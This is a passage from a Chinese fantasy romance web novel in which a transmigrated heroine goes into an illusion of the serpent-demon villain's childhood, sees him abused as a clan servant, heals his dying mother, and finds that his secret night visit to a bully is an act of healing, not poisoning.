犀牛妖憨厚,神态看上去还不算太生气,好心给这个人解释,“他在你身上留下了他的味道。”
见白芒还是不理解,犀牛妖有些迟疑。
他该怎么跟她解释,在妖魔们的世界,在伴侣身上标记自己的味道,便是人类世界的交好合欢。
况且也不知道那男子倒地是个什么妖,闻上去的味道很不一样,纯净的不像是妖魔该有的。
犀牛妖正在斟酌措辞的时候,楚卿礼突然去而复发。
“芒芒。”
白芒转头,脖子上就被吊了一块东西,她低头,看到一小块白白的物件,不像是玉,摸上去却有温度。“这是什么?”
楚卿礼只看她,像是随手送出了个不重要的东西,“龙骨。”
在北山之巅,他险些付出生命也要拿到的东西。
话音落下,犀牛妖瞬间脸色一变,周围的妖魔也都大惊失色,仓皇着站起来就跑,板凳倒地,狭小的门都快要被挤破。
“这是怎么了?”白芒惊讶的站起来,茫然看着大家远去的尘烟。
楚卿礼只是愉悦的动了动鼻子,“约莫是困了。”
“……”白芒瞪他一眼,对他把自己当傻子的言行很不满意。
摸了摸鼻子,楚卿礼牵着她往楼上走,轻声道:“先好好休息吧,或许一觉睡醒之后,便有客人到了。”
他难得卖一次关子,白芒也不多作追问,洗漱后躺在床榻上,她摸着挂在脖子上那一块龙骨,默默想起雀妖说书提到的几句话。
这世上,可还有龙吗?
14. 秘境
白芒是被一阵嘈杂声吵醒的。
似乎是脚步声夹杂着椅子拖拽声,她迷迷糊糊翻身,手下意识往腰下按去。
却没有如往常缠上来的蛇尾,倏然睁眼,白芒便看到楚卿礼坐在对面的桌边。
他低垂着眼睫,不知在思索什么。听到白芒起身的动作后,就转过头,安安静静的看着她洗漱。
擦去腮边水珠,白芒终于转过头面向他,“怎么了?”
“他们来了。”
谁?谁来了。白芒不解的看着他伸向自己的手,犹豫片刻后,还是握了上去。
分明他也没什么表情,语气也不曾起伏波动,可她还是窥到一丝异样。似乎是压抑良久的情绪,终于有了一点可宣泄的出口。
他的手温度极低,骤然触到她温暖的皮肤,楚卿礼不自觉呼出一口气,像是被妥帖的熨了一遍。
牵着她走到门边,楚卿礼神色慢慢冷下来,推开门。
唰的一声,五彩羽扇在他们面前展开,鲛人在旁展现美妙歌喉,头顶上还有两只拖着尾翼的飞鸾。
白芒瞪大了眼睛,目光缓缓下移,一个矮矮胖胖额头上有着王字花纹的人,正搓着手冲他们笑。
“这位是?”
不等楚卿礼回答,那人就自来熟一般的上前,殷勤的冲他笑着,“我等不知,世上竟还有尊主这般血脉留存,真是我妖魔界的幸事。”
白芒愕然转头,楚卿礼握住她的手,“这是魔境如今的主人。”
“不敢不敢。”朱虎笑嘻嘻摆手,他化形的人类模样看上去就像是个敦厚的中年男人,全然不像是如今魔界之主的样子。“如今尊主回来了,这魔界自然也该是您的。”
楚卿礼抬手,挥走了头顶上扇动翅膀的飞鸾,正色看向他。“我无心这些,来此,所为的只是当年我族遗留下来的东西。”
摸着不存在的胡子,朱虎的眼珠转了一圈,侧身让开。“那本就该是尊主的东西,合该拿走。”
他让开了,才露出后面跪着一排的瑟瑟发抖的妖魔们,刚转身,朱虎嬉笑的脸色就一变。“混账,还不变回去!”
随着他一声令下,匍匐在地的犀牛妖就哀嚎一声化作了车的模样。
朱虎扭头冲他们笑,“来的匆忙,未备马车,二位请吧。”
飞鸾与鲛人又开始重新飞舞歌唱,还多来了两位蝴蝶精,撒着花瓣铺路。
眼前这架势,魔境主人似乎对楚卿礼有种异样的热情与尊敬,是否可信犹未可知。
白芒的手指被轻捏了一下,她被带着往前走,看着楚卿礼微微板起的面孔,她暂且跟了上去。
来到犀牛妖变成的车架前,朱虎随手拉过来一颗人头,笑眯眯让他们踩着上去。
白芒不动声色看了下双眼紧闭咬牙战栗的人头,与四周瑟瑟发抖不敢发一言的妖魔们,暗道这魔境主人恐怕远没有看上去温和无害。
昨日他们来的街头巷尾,还都是一派热闹繁荣,此刻却沉寂的只有浓重的黑色。天空中的月亮,隐约有一圈血色的边,空气里都泛着血腥味。直到此时此刻,魔境才终于有了白芒固有的刻板印象。
楚卿礼先一步跨上了马车,伸手将白芒抱了上来。
他们二人谁都没去踩那个断头怪,朱虎扯了扯嘴角,浑不在意的将其一脚踢开。转身的瞬间,额头花纹显现,顿时变成了一座三头虎,四蹄腾空往前。
坐着的马车也自然而然开始动,楚卿礼方整理好衣摆,便再难忽视白芒探究的眼神。
他索性坦然看过去,“芒芒想知道什么?”
“那得看你要告诉我什么。”
按照一般逻辑,在取得客户对她的基本信任与依赖之后,任务总会进入下一个阶段。白芒转了转手腕,也该让她了解他的过去了。这样才能精准培养,激化他的黑化。
暗淡的光线里,他的面容几乎看不清楚,楚卿礼似乎低了低头,他仍不想全部坦白。
“我的身体内被下了禁锢,你可以理解为,现在的我并不是完全的形体。魔境之中,有我需要的东西,能帮我突破禁锢。也就是双尾狐所谓的,治本的方法。”
白芒试图理解,“换句话说就是,取得那个东西之后你会变得更强?”
看他在夜色中点了点头,白芒抚掌,坚定支持,“那我们必须干!”
她的声音脆生生的,有力的像是鲜活跳动的火苗,即便看不到,楚卿礼也能想象出她嘴角若有若无的梨涡。
楚卿礼情不自禁的靠她近了一些,在她醒来之前,他又咬过她一次,如今她身上还是他的味道。
“可能会有危险。”
“那也不怕。”大反派想要的东西必然不是凡物,有些危险也是理所当然,白芒笑笑,“只要是你想要的,就一定要得到!”
她总是说这种话,明明违背着他固有的认知,楚卿礼却还是想问,“哪怕无所不用其极,使用阴诡手段,甚至背负骂名?”
“对,只要你想。”
这很不对,他应该纠正她这种念头,可楚卿礼只是沉默而短促的笑了一下。重新坐直后,楚卿礼声色正常许多,似乎已放松不少,“等会去取东西,我独自前去就好,你跟着魔境主人在外面等我。”
惋惜他没有再跟自己进行邪恶念头养成课,白芒往外看了眼,朱虎还在远处,她压低声音。“你真觉得,他很可信?”
就轻易会把东西给他?
“嗯。”楚卿礼轻应了一声。
妖魔之间的相处规则,她还不太明白。朱虎诚然会有私心杂念,但不会阻拦他如今要做的事情。昨日在客栈中,故意在她身上留下味道,也是为了引朱虎前来。
毕竟是龙的气息,朱虎不可能不重视,所以才早早前来等候。
那件东西等了他太久,久到保管的人都换了许多代,沧海桑田,世事变迁,仿若他们共同执着的都是虚妄。
车架缓缓停了下来。
“到了。”
下车的刹那,犀牛妖就又变了回去,得到朱虎的首肯之后,忙不迭跑远。
打量着周遭废墟一样的场景,白芒没看到任何称得上珍贵的物品,“这是哪?”
如同被陨石砸出的山坑,光秃秃的怪石嶙峋,边缘染着红色,刀枪剑戟的痕迹都入目可查。
朱虎含笑的目光掠过她,只冲楚卿礼指向最中间一个漆黑的光圈,“秘境入口,就在此处。”
落地的瞬间,楚卿礼也看着那里,他背对着朱虎点头,刚走了几步,又折返回来在白芒面前站定。
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>“我没事,你去吧。”白芒微微笑着,暗自小心眼记着以后一定要在朱虎跟前把面子讨回来。
楚卿礼执起她的手背,将额头贴上去。
白芒的手背这次温温柔柔的应和着他的动作,印记浮现,小白蛇影子慢慢转了一圈,也没有丝毫的灼热感。
又理了理她脖子上带好的龙骨,楚卿礼不再多言,转身不停的往那光圈而去。
靠近的瞬间,黑雾弥漫,顷刻吞噬了他。
不知为何,白芒心口发紧,她皱着眉靠近一些,却什么都看不出来。
悬挂于天空的月亮越发诡异,红色吞噬了一半的月亮,安静至极的地方连风都没有,像是被遗忘的场所。
静默之下的陌生感,让白芒更加心慌,她又凑近了光圈一些。“楚卿礼什么时候会回来?”
“这就不是你需要关心的了。”
悦耳的女声从背后传来,白芒猛然转身。
朱虎身边,不知何时多了一个女子,身着一袭水绿色百褶裙,腰佩玉环,长剑在手。眉眼清丽,是极为漂亮的相貌,只是站在远处也耀眼夺目的不容忽视。
楚书芸冲朱虎颔首,“还得多谢魔境主人帮忙。”
“好说,如今我们与修真界互不相扰,也合该互相帮助。”朱虎揣着手,嘴角笑意不改。
白芒没有反应,仍盯着楚书芸的脸瞧。
楚书芸也早在暗处时就打量她许久,此刻她的眼神,让楚书芸无端不满。刀剑出鞘,横出的剑气直冲向白芒。
可白芒连抵挡都来不及,猝不及防的往后倒去,黑雾就像是蛰伏已久的野兽,刹那间盛起扑向她。
只觉自己像是从万丈深渊中掉下去,四周都是不见五指的黑,白芒苦笑龇牙,回忆着方才的匆匆一面。
原来这就是女主角呀。
原定剧情里,楚卿礼爱而不得的心上人。在看到她的第一面,脑海中就触发了这个词条,白芒才愣了那片刻。
也不知这是被打到了什么地方去,白芒尽量蜷缩起来,感知着浑身行走的灵力。
还好,她是有外挂的。
正想办法要停止身体越来越快的坠落时,白芒胸前忽的生出一道白光,那块龙骨突然漂浮起来。
温润的白光,就是从它身上散发出的。
这股白光如莲花般绽开,柔软的托扶住了白芒,在她身下化成一尾盘旋起来的白龙。
凌厉的罡风都被挡下,光芒乍然刺眼,白芒伸手挡住脸,接着身体就落了地。
光芒大盛。
她慢慢睁开眼,这似乎是一处村落,山色空蒙,水声潺潺,野花在空地上摇曳着。
天上太阳高悬,被她这动静惊走的小鹿躲在树后面偷看她,龙骨重新安静的挂在她颈上。
白芒坐起身,有些搞不清楚现在的状况,她看上去像是到了另一个地方。
咔嚓咔嚓。
脚步声自树后想起,白芒猛地转身后呆愣住。
见鬼了,她又看到了三岁的楚卿礼。
尚且是小白团子的楚卿礼,似乎也为她的存在而惊讶,犹豫又忐忑了许久,才不安的靠近。
眼皮上的小痣忽闪忽闪,他怀里抱着个竹篮,奶声奶气。“姐姐,宾客不该来这里的。”
15. 欺凌
楚书芸看着前方归为沉寂的秘境入口,收剑入鞘,还好在他们进入魔境前,清府人总算追踪到了楚卿礼的味道。
魔境之内,修真世家势力有限,清府人也不准进入,她便抢先与朱虎取得了联系,骗他们进的也是假秘境。
朱虎所布下的假秘境,妖魔跌入只会睡上几日,人进去则会历经恐怖画面,光吓都能吓破胆子。
她绝对不会伤害楚卿礼,哪怕是违背祖父与父亲的意愿也不在乎,可是白芒必须受到惩戒,她要帮他重获自由。
“楚小姐,你的要求我也已然达到了。”朱虎笼着手笑。
明白他的意思,楚书芸爽快应道:“放心吧,等他从秘境中出来,我便立刻带他回去,绝不会影响你魔境主人的身份。”
顿了顿,楚书芸眼睛一转,俏丽的冲他笑笑。“他们进去的是个假秘境,那真的呢,可否让我去瞧瞧?”
她如今阻止了楚卿礼,是怕引起楚家对他更重的惩罚,等这次带他回去祖父消了气,她一定亲自陪着他取回来。
朱虎身量短,看人时不爱仰头,就只是使劲往上翻眼,露出许多眼白。略想了想,他抬手挥去,方才的黑色光圈消失,转而在旁边浮现出一层淡淡的蓝色碎光。
“那个东西,世上除了他,没有人能取到的。你就算进去,也没什么用。”
楚书芸绕着辫子尖,情不自禁走近一些,“我只是想去看看,难道不行?”
朱虎咧着嘴,“自然可以,楚家的大小姐想做什么,我哪能阻止。只盼着此间事了,大小姐说话算话将人带走才好。”
待她先进去瞧个清楚,将秘境中所有的麻烦都处理完,下次必定让他顺利拿到他要的东西。楚书芸打定主意,握紧剑往里走去。
她的裙摆内,忽的翻出来一个小狼妖,在她进入秘境的瞬间,咬着她的裙摆一同掉了进去。
寂寥的山谷中,就剩了朱虎一个人,哂笑之后,他慢慢盘旋在地上,三颗硕大的虎头枕在地上,他从鼻子里喷出口气,闭眼睡去。
——
白芒费了好半天,才勉强理清楚了现在的状况。
她似乎,进入了楚卿礼的年幼时期。就像是一段沉浸式观影,而她也不知道自己的剧本。
眼前这一幕,是楚家内正在举办的一场宴会。
“姐姐,你坐这里就好。”
楚卿礼稚嫩的嗓音传来,白芒回神低头,心情复杂的看着他头顶的发髻。潦潦草草的扎着,发尾耷拉出来一些,一边紧一边松。
之前大概也知道他童年不快乐,可那也不过是想象,如今这一身打扮才将他的不堪直白表露在他面前。
才三岁的楚卿礼,远没有后来那般冷淡的神色,许多心情也不会掩饰,都明显的表现在脸上。
他拉着她在最外围的席位上坐下,白芒支支吾吾答不上身份,他又觉得她脸生,便理所当然的将她当做了最旁支不重要的女弟子。
离此刻充满阿谀奉承的中心,隔着数道祥云。
他将她安顿下就想走,却被白芒一把拉住。
“你要做什么去?”
白芒有些新奇他这稚嫩乖巧的样子,忍不住想多逗上一逗,撑着腮冲他笑。
楚卿礼却看得发起了愣。
他自从出生就是最低贱的仆从,除了娘亲之外,没有人这样对他笑过,楚卿礼忽闪着眼睛,将手中的竹篮给她看。
里面铺了一层桂花,鲜甜的味道扑鼻而来。
楚卿礼指了指最中间宽阔的席案,其中摆放着七八十道菜,里面最不起眼的一道是白玉酥糕,比之仙丹灵药来说,这道人界小点心连看都不够看的。
“管家姐姐让我采了桂花,撒在白玉酥糕上面。”
“那我可以吃吗?”
瞧了她一眼,楚卿礼不太忍心的撇嘴,眉头都攥了起来,“那是家主最嫡系的子女用的,你不可以。”
他像是在真切的为她惋惜,又像是自己也馋嘴,咕咚咽了下口水。
白芒忍俊不禁,故意起了坏心思,“可我真的想吃,怎么办?”
楚卿礼为难的摇摇头,还想说什么的时候,一条鞭子突然啪的打在他身上。
白芒都被吓了一跳,他却已然颤抖着提竹篮跪在一边,“我知错了。”
“混账东西,还敢偷懒耍滑,让你干的话怎么还不动!”蛮横的丫鬟叉着腰怒骂。
连辩驳都不敢,楚卿礼提起竹篮,踉跄着往前跑去。
后背上本就单薄的衣服,此刻被一道鲜红的血印子撕裂开,血肉模糊。
下意识的想起身跟上,手握成拳,白芒又咬牙坐了回去。这是难得的机会,她能直面他的过往,更了解他的性格,她不应该横加干预。
况且这些本就是他的过去,她也不会改变什么,做好旁观者本分就好了。
默念两遍系统曾说过的守则,白芒平复心情,目光紧紧追逐着他。
楚卿礼的个头还没有那桌腿高,他踮着脚尖,费力的将瓷碟拿下来,抿着唇认真的撒桂花。每块糕点上,都认认真真撒着均匀的几朵。
人声鼎沸的宴乐场所,瘦小的他连一点存在感都没有,可仍有人故意去找麻烦。
“喂。”约莫七八岁的一个孩童,伸手敲了敲桌子,冲他不怀好意的笑着。
背对着他的楚卿礼在听到的瞬间浑身僵硬,身体抖了一下,将盘子放回去,才握着拳转身。眼中神色,直白写着厌恶害怕。
那小少爷模样一般,可浑身绫罗绸缎,尊贵的紫玉戴在脖子上,他居高临下笑着。“嘬嘬嘬,叫你呢,还不爬过来。”
楚卿礼抿唇,站直许多,却抗拒着不动。
见他如此,小少爷勃然大怒,蹭得站起来指着他鼻子。“贱种东西,还敢反抗我,是嫌你娘过的太舒服了是吧?要不要我让我爹,再去好好叫她伺候一顿!”
脸色倏然花白,楚卿礼下意识的往四周看了眼,可都是熟悉的,看热闹的戏谑冷漠面孔。
这里的人都看不起他,不会有人帮他。
呼吸急促起伏几下后,楚卿礼面无表情的抱着手,一点点跪了下去。腰板还直挺挺的,膝行向他靠近。“四公子,请吩咐。”
“哈哈,这才乖。”这四公子抚掌大笑,自得的冲大家扬眉,“看吧,我说过的,他从小就听话。”
他身份尊贵,大家自然也都是献媚,“还是四公子会调教妖奴。”
得了两三句夸赞,四公子愈发得意,他扔下来一枚丹药。“听说你娘病了,本公子把这赏你。”
楚卿礼顿时眼神一亮,当即就伸手去拿,将要捡到那颗药丸的瞬间,一只犬妖猛地冲下来,直砸向他脊背。
鲜血淋漓的伤口,哪里经得起这一击,楚卿礼疼的脸色煞白,咚地一声倒地,浑身都开始抽搐。
他的血味刺激到了犬妖,它闻闻嗅嗅之后开始狂吠,大张着嘴巴就要去咬他脖子。
众人都揣手看着,爆发出欢喜的笑声。
“快看,果真下贱的妖们,同类相残。”
险些没疼晕过去的楚卿礼,强撑着躲闪,犬妖的攻势却越来越猛。那锋利的牙尖上还挂着腥臭的血肉,离他的脖子咫尺之遥。
楚卿礼一只手握着什么,仅凭另一只手根本无力再抵挡,千钧一发之际,他浑身强撑出一股力气,暴喝一声猛地化形,尖利的蛇牙直砸进犬妖脖子。
犬妖剧烈挣扎,爪子撕扯着缠绕在身上的白蛇,几乎将他扯的每一块好肉,可楚卿礼仍未放开它。
终于,犬妖再没有任何动作,焉哒哒瘫软倒地。
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笑声戛然而止,四公子与周围人冷冷看着他的反抗。
一点点变回人形,楚卿礼匍匐在地上,满身都是伤口,比起说是人形,更像是一团流血的肉。
“喂,还想要仙丹吗?”四公子站起来,指了指滚落在地上,沾满了灰尘的药丸,“爬过去,那就属于你。”
或许是痛的动不了,楚卿礼半晌没有挪动,四周的侍从们不约而同的上来,纷纷紧握住他们手中的剑。
但凡他会有一丝不规矩的动作,他们的剑就会毫不留情的砍下去,
终于,楚卿礼缓慢的拖着身体爬过去,捡起了那颗药丸。
众人却都送了一口气,尤其是四公子,劫后余生般僵硬笑着嘴硬。“看,就是最低贱的妖奴,没什么的。”
“贱种就是会生贱种,他娘是个千人骑的,他又能有多干净。”
只是这次的应和声,却少了许多。
万幸这场闹剧也终于到了尾声,仙婢开路,一威严的中年男人,领着两个年轻男人走过来。
那两位年轻男人,一个看上去病怏怏的,脸色惨白,身披厚重的鹤氅。另一位则红光满面,怀里抱着个襁褓孩童,喜气洋洋笑着。
中年男人便是楚家家主,他嫌恶的瞧了眼这边,不动声色的瞪了身后病怏怏的年轻人,才道:“大喜之日,这般晦气的东西来做甚,还不退下!”
四公子恭恭敬敬跑过去,对着他喊大伯,又讨喜的恭贺那抱着孩子的男人。
仙乐奏响,一派安乐。
气氛重新热络起来,没有人再施舍一眼给楚卿礼。
楚卿礼就这样强撑着站起来,腿都在打颤,却还是一步步挪了过去。满脸的血污遮盖住他的视线,他只能依靠气味,艰难辨认方向。
几乎要走到筋脉寸断,他才终于走出那光鲜亮丽的宴厅。他闻着味,他不能去芳香的道路,他得迈向腥臭的地方,妖奴们生活的地方。
可不知为何,今日浓臭的风里,总是夹杂着一股淡淡清香。不是花,不是檀,就只是干净的味道,像是春日里长出的嫩草。
楚卿礼再也走不动,腾得摔倒,疼得快要晕过去。
那股清香味更重,像是要把他温柔包起来,楚卿礼艰难睁开眼,愕然看着站在他面前的人。
“是你啊。”
是那个漂亮姐姐,可为什么,她现在一点笑模样也没有,脸色阴沉得可怕,明明她是唯一会对他笑的人了。
白芒说不清她现在是什么心情,对她而言如此重要的人,她不远万里穿书而来的人,唯一掌握着她生死的人,就被欺负成了这副模样。
而这或许只是他漫长成长中,最普通的一天。
心口沸腾着,白芒总算弄清楚,她在生气。
楚卿礼突然动了动,将那个一直紧握的手,在她面前缓缓展开。
露出一块,被捏的变形的,白玉酥糕。
白芒猛然捏紧拳头。
虚弱得连胳膊都抬不起多久,见她不接,楚卿礼眼里光彩慢慢黯下。“我护得很小心,没有弄脏。”
酸涩的感觉直冲舌尖,白芒伸手,将那块糕点珍视的捧在手心,当着他的面慢吞吞吃了,他才终于笑起来。
脏污的小脸上,眼睛都肿着。
“糕点很好吃,作为报答,你想要我做什么?”
只要他说,她去烧了那所有人都可以。管他什么这都是过去的场景,哪怕是一场幻梦,他只要此刻畅快了就可以。
楚卿礼坐直了一些,将眼睛用力瞪大,认真看着她,“当真?”
白芒用力点头,手指间已经召唤出了火苗。
“那姐姐笑一下吧。”
火苗噗的一下熄灭,白芒错愕张口,“什么?”
“对我笑一笑吧。”
16. 护心
笑是笑不出来的。
白芒轻叹一口气,楚卿礼总是如此,攻击性比她想象中要低上许多,她掐了个决,将他这一身泥污与伤口先处理干净。
轻柔的光芒拂过他的身体,楚卿礼又成了个玉雪团子,他有些难以置信的摸着身上方才还疼痛难忍的地方。
竟真的全都好了。
蓦地想到什么,楚卿礼眼中短暂的欣喜消失,他小心的牵起白芒的手。“姐姐,你可以救我娘亲吗?”
刚才的对话里隐约也提到了,他娘亲如今身体似乎不太好。
白芒本也想找理由留在他身边,只是这笨蛇也太容易相信人了,得给他上一课。
故意板起脸,白芒弯下腰居高临下的看着他,语气低沉,“你就不怕,我要害你们母子二人?”
楚卿礼仰着头看她,眨巴两下圆润的大眼睛,眼皮上那一点小痣像是落在白纸上的墨点。
“不怕。”
他黑白分明的大眼睛里全然没有闪躲,白芒有些意外,“为什么?”
莫非她果然人畜无害,单纯可亲,谁都会天然相信她?
怪不得她蝉联了九年的优秀员工!
不知她已在沾沾自喜的楚卿礼伸出手,眼神怀着莫名的情绪先看了她一眼,并指点在他的额头。
手背突然一暖,白芒抬起手腕,就看到那道印记又浮现出来。
温暖的金光,链接着她的手背,与他的额头。
一朵小小的白色鳞片,缓慢从她手背上的契印中浮现,白芒都不曾见过,她惊讶的瞪大眼睛仔细去瞧。
水滴形的鳞片,泛着斑斓的光芒,银白色的一层釉覆盖在上面,边缘锋利,中心却极厚。
与此同时,楚卿礼的心口处也亮起一个小点,他眼神复杂的看着她的手背,声音犹带着稚气。
“你身上有我的护心鳞,这是我最重要的东西。”
咚!
宴厅里传来一道鼓声,正如白芒此刻的心跳,她错愕看着那小小的鳞片,想起那一日在她面前升起的结界,连她都打不开的结界。
楚卿礼放下抵在额头上的手指,“我也不知道为什么,我的护心鳞竟然是在你身上,分明我们之前完全不曾见过。”
“或许是我往后送给你的,那么,你是从以后来的吗?”
才三岁的孩童,脑子就这么好用的?白芒呆愣的看着他。
楚卿礼扭头,眼神似乎有些不好意思,他不敢期待太多,语气就显得局促小心。
“你是,为我而来的吗?”
澄澈的眼睛不敢眨,明晃晃的恳求看着她,白芒缓缓蹲下来,伸出指尖点了点他眼皮上的小痣。
“是,我是为你而来的。”
从一开始,她就是为他才来到的这个世界,白芒轻笑出来。
楚卿礼似是也为这个答案真切的高兴着,他不敢大笑,只抿着唇角,白嫩的手指却忍不住的一下下摸着她的手背。
四周都是脏污的泥土,妖奴们与百兽混住在一起,那些没礼貌的兽类的排泄物就在路边。
他却只能闻到她身上干净的味道。
楚卿礼与他娘亲的住处,还算是稍微好些的地方,临水的一间小木屋,周围种了兰花,用篱笆隔开。
推了栅栏进门,楚卿礼才显出些孩童的活泼,他蹦跳着进屋,“娘亲,我们回来了!”
“什么你们,还有谁?”
女声虽虚弱,却温柔好听,光是听着就能想到她含笑的样子。白芒跨过门槛,目光落在床榻上半坐着的女子。
和楚卿礼足像了六七成,眼角眉梢都天然带着柔和笑意,讶然看着白芒这个陌生的闯入者。
盯着白芒看了半晌,女子莞尔一笑,冲她点点头。“你来了。”
口吻中,隐约还有种了然的感觉,白芒挑眉走近。
“卿礼,去倒杯水来。”摸摸儿子的头,楚宋支开了她,示意白芒去坐,“叫我宋娘就好。”
白芒点点头,没出声,歪头打量着她。
一条锁链,就挂在她的脖子上,将她钉死在这方寸的房子里。她脸色很不好,是种生命衰退的灰白色,如同她身上盖的这件苍绿色衣衫。
白芒观察的眼神算不上多客气,楚宋却也不在意,温温和和笑着,等她将自己从头到尾看完,“卿礼,多多拜托你了。”
倏然坐直,白芒情不自禁抬起手,在她眼前晃了晃。
被她的动作逗笑,楚宋轻歪了歪头,“我应该不是瞎子。”
“我不是这个意思。”她自然不会是瞎子,白芒甚至怀疑她有天眼之类的存在,否则怎能说出这种话。
就像是轻易看出
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了她是谁,她都要做什么,可分明楚慈也不过是个早已故去的人。
明了她的疑惑,楚宋笑意不改,招手让她略微坐近一些,而后伸手隔着衣物摸向她脖子上那块龙骨。
她微叹了一口气。
“这是我族的气息,造成这场幻境的,也是我族的至宝。而我这个已死之人,也被困了许多年。”
“我终于等来了他,更终于等来了你。”
白芒还没理解清楚她都说了什么,就被楚宋用力握住手,她双眼隐隐含泪,祈求着开口,“请你无论如何,带他走出去。”
随着说话声,血水从她口中涌了出来,白芒被吓了一跳,手忙脚乱的想扶她躺下。楚宋已经说不出话,却还使劲握着她的手,白芒只好点头答应。“我会的。”
似乎这才放下心,楚宋松开她失力跌回床上,失去意识之前,她顾不上不断吐血的身体,强撑着抬头看向院中。
可惜了,她不能给她可怜的孩儿再梳一梳头发。
眼皮越来越重,楚宋猛然砸向枕头,一滴泪从眼角滑落。
“娘亲!”
楚卿礼刚端着杯子回来便看到这一幕,他大喊一声,快速跑过来扑在她身上。
白芒也立刻搭脉,实则用灵力感知着她的身体,尽力去救她。
微弱的荧光,源源不断的从她指尖进入楚宋的躯体,若是有修者进来看到这一幕,必定会心疼的直拍大腿。
白芒救她所耗费的灵力,足以让一黄毛小儿成为法力高强的修者。
楚卿礼抱着娘亲的另一只手,不敢出声打扰她,连泪都在默默的流,嘴巴紧紧瘪着。
直到楚宋气息平复下来,缓缓睁开眼摸摸他的头,他才哇地一声扑进她怀里啜泣。
楚宋只得温言温语的安慰他,看上去无比感人的母子情深。
白芒却皱着眉头,只有她看到了,楚宋身上一道青光散尽,或许方才和她说话的那个“楚宋”才是真实的,而她那一口气已经离开了。
即便白芒再努力,也没有留下她,如今抱着楚卿礼,不过是这一剧过去记忆中的躯体。
白芒环顾着四周,视线中的景色在凭空扭曲,她指尖发冷,她也知道这是一场过去的幻境,可到底怎么,才能带着楚卿礼走出去呢?万一走不出去,又到底会有怎样的后果?
17. 纯善
是夜,明月高悬,白日里的喧闹归于平静,楚家除守夜的人外大抵都睡了。
一个小小的身影却从木屋中走了出来,朝着楚家子弟们居住的仙殿中走去。
全然没发现自己被人跟着。
白芒隐匿身形,无声在楚卿礼身后飘着。
再次醒来的楚宋,果然对她没有任何记忆,将她当作寻常客人闲聊几句后就睡去了。
她看着乖巧的楚卿礼,轻车熟路的收拾好药罐,把药丸喂给她吃了,就安顿她去休息,
直捱到了后半夜,他却偷溜出了门。
白芒摸着下巴,眼看着他轻易穿过了一个个提防外人的阵法,暗道不愧是天赋异禀的最大反派。这都是楚家设置的阵法,他却如履平地,很快就到了他的目的地。
楚家讲究面子,仙殿都有五彩祥云围绕,千年桂花开着,飘洒满树的香气。
看到楚卿礼在门口停下,小心翼翼的左右看了看,才推门进去,白芒心里也忍不住好奇。
所以她好心的顺手帮他弄昏迷了几个察觉到的护卫。
等清楚床榻上躺的到底是谁,白芒撇撇嘴,“你三更半夜穿过了大半个楚家,就是为了见他?”
这肥头肥脑正呼呼大睡的半大小子,不就是白日里宴会上羞辱楚卿礼的四公子。
她突然出声,吓了楚卿礼一大跳,手都不自觉抖了一下,一颗白色的小药丸就掉在床上。
四公子吧嗒吧嗒嘴,哼唧着呓语,眼看就要醒了。
楚卿礼顿时更害怕,手忙脚乱的捡起药丸,掰开他的嘴就塞了进去。
四公子猝不及防,两眼一翻,差点噎过去。
白芒忙伸手在他眼皮上拂过,一阵桂花味的清风吹来,四公子咕咚吞咽一声,又睡了过去。
悬在喉咙的心落了地,楚卿礼呼一口气,压低声音,“你怎么在这?”
“不错嘛。”白芒蹲下来,手撑着下巴,眼中满是赞许之色。“年纪轻轻,就知道下毒害人了,很有前途。”
到底是命中注定的大反派呀,她之前听着他一板一眼的说教,还以为他底色当真是纯善无私的。到了他小时候这么一看,原来也不过是睚眦必报手段狠辣。
合该如此!
白芒亲自探头捏开四公子的嘴,在他震天响的呼噜声中,见他当真都咽下去了,才笑着点头。“你这毒药是什么功效呀,他会七窍流血,还是五脏溃烂?”
见她这番折腾,四公子都没醒,楚卿礼说话的声音也大了些,“这不是毒啊。”
白芒一愣。
应和他的话一般,四公子身上突然浮现出一层白色微光,从他的腹部沿着喉咙慢慢往上。
四公子满头虚汗,在床上扭动起来,手用力抓着床单。
突然,他哇的一声吐出一口脏血,所有挣扎的动作都停下来,眉心舒展,呼吸也平稳起来,沉沉睡着。
那滩污血中,白色微光变成一条小白蛇,扭着一只小狗,身躯纠缠着它,片刻后将小狗搅碎,落了两滩黑点。
“他不知是用什么方法驱使那只犬妖,犬妖早已对他怀有怨怒,附在他身上,就是妖毒。”
白芒傻眼,她回去之后一定要修理那个破系统,哪有这样的?大反派生性这么好,真的不是作者ooc吗?
似乎看出来了她的失望,楚卿礼不知为何有些无措,他往前半步,将手搭在她指尖。“妖毒虽不致命,可他尚且年幼,不利于他往后长大的。”
见他的解释没什么效果,楚卿礼舔舔唇角,圆润而黑白分明的大眼睛快速眨动着,“娘亲说,与人为善,才能海阔天空。他虽欺负我,可这些不能全部怪他。”
白芒仍旧气不过,语气略冲,“那怪谁!”
“怪教养他的大人,怪欺负我的先例,怪如今捧高踩低看不起妖的世道。”
颇为深奥的言语,被他稚嫩的脸说出来,无端惹的白芒忍俊不禁,好笑的捏捏他的脸。手感倒是真不错,软和得像是刚出锅的白馒头。
楚卿礼脸颊被捏起来,还执拗的看她,“不对吗?”
当然不对,他就该为非作歹,无恶不作。
白芒放开手,在他白嫩的脸上留下了两个红印子,她应该要狠狠批判他这种天真念头的。
白芒伸出指尖,点点他的小痣,他却不躲不闪。
白芒蓦地想起漫长的时间之前,阴雨天的高楼大厦里,陌生阿姨递给她的一件外套。
“或许你会被辜负,但至少这样没错。”
她开口的嗓音沾染着夜色,浅浅笑开的梨涡像是雨天的池塘,白芒向他伸手,“以后再说吧,很晚了,我们回家。”
学坏的事情往后再说,他此刻干净的眼睛,还不该被破坏。
楚卿礼歪了歪头,往前投入她怀中,白芒顺势将他全部抱起来。
终归是才三岁大的孩子,即便白芒身量算不上高大,他在她怀里也只是很小一点。
白芒下意识的选择了抱小孩的姿势,让他坐在自己的一条胳膊上,另一只手护在他身后。
可不知为何,刚走出四公子的仙殿没多久,他就蠕动着想下来。
“放我下去。”
巡视的人随时可能出现,白芒只好先把他给放下来,莫名其妙小声问:“怎么了?”
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楚卿礼低头,鼓着个小脸嘀咕,“怎么和抱孩子似的。”
白芒乐了,“可不就是小孩吗?”
没吭声,楚卿礼牵住她的手,快速迈动着小短腿跟上她。他偷偷伸手,摸了摸她的手背。
他隐隐约约觉得,她是他往后会送护心鳞的人,他们之间不该是这种相处的方式。
天再过不久就要亮了,白芒弄不懂他的想法,也先由着他去,二人快速回了屋里。
而在四公子的仙殿内,床头一枚铜镜闪了闪。
楚卿礼并没见过这枚铜镜,穿书而来的白芒就更不了解,这是为保护楚家子弟所设的铜镜。
就像是一个监控器,清晰记录下他们一晚上的所作所为,天只要一亮,就会有专人查看。
——
